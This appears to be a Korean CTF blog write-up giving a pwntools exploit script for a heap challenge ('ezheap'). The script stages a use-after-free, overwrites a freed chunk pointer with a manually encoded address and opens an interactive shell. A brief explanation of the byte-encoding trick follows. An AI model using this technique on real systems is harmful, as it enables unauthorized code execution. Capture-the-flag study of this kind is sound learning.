from pwn import *
#p = process('./ezheap')
p = remote('ctf.dimigo.hs.kr', 15039)
context.log_level="debug"
def add(a,b):
p.recv()
p.sendline('1')
p.recv()
p.sendline(str(a))
p.recv()
p.sendline(str(b))
def vie(a):
p.recv()
p.sendline('3')
p.recv()
p.sendline(str(a))
def edit(a,b):
p.recv()
p.sendline('2')
p.recv()
p.sendline(str(a))
p.recv()
p.sendline(b)
def fr(a):
p.recv()
p.sendline('4')
p.sendline(str(a))
add(1,0x50)
add(2,0x50)
fr(2)
fr(1)
add(3,0x18)
payload = 'a' * 16 + chr(0x60) +chr(0x0d) + chr(0x40)
edit(3,payload)
pause()
vie('2')
p.interactive()
https://youngsouk-hack.tistory.com/21
여기서 했던 uaf랑 비슷한 방법으로 익스를 하면 된다. 다만 우리가 실행시킬 shell()의 함수의 주소를 입력할 때 p64()를 통해 리틀엔디언으로 바꾸어주면 enter키가 버퍼에 남아있어 메뉴가 실행될 때 나가진다. 따라서 우리가 직접 리틀엔디언으로 바꾸어줌으로서 프로그램이 안나가지고 살아있는다.
'CTF write-up' 카테고리의 다른 글
Tokyo Western CTF 2017 - Parrot (0) | 2019.10.02 |
---|---|
[hackingcamp2019]bonus (0) | 2019.08.25 |
[hackingcamp2019] (0) | 2019.08.25 |
[hackingcamp2019]camp_note (0) | 2019.08.25 |
[dimi_ctf]ropasaurusrex2 (0) | 2019.07.15 |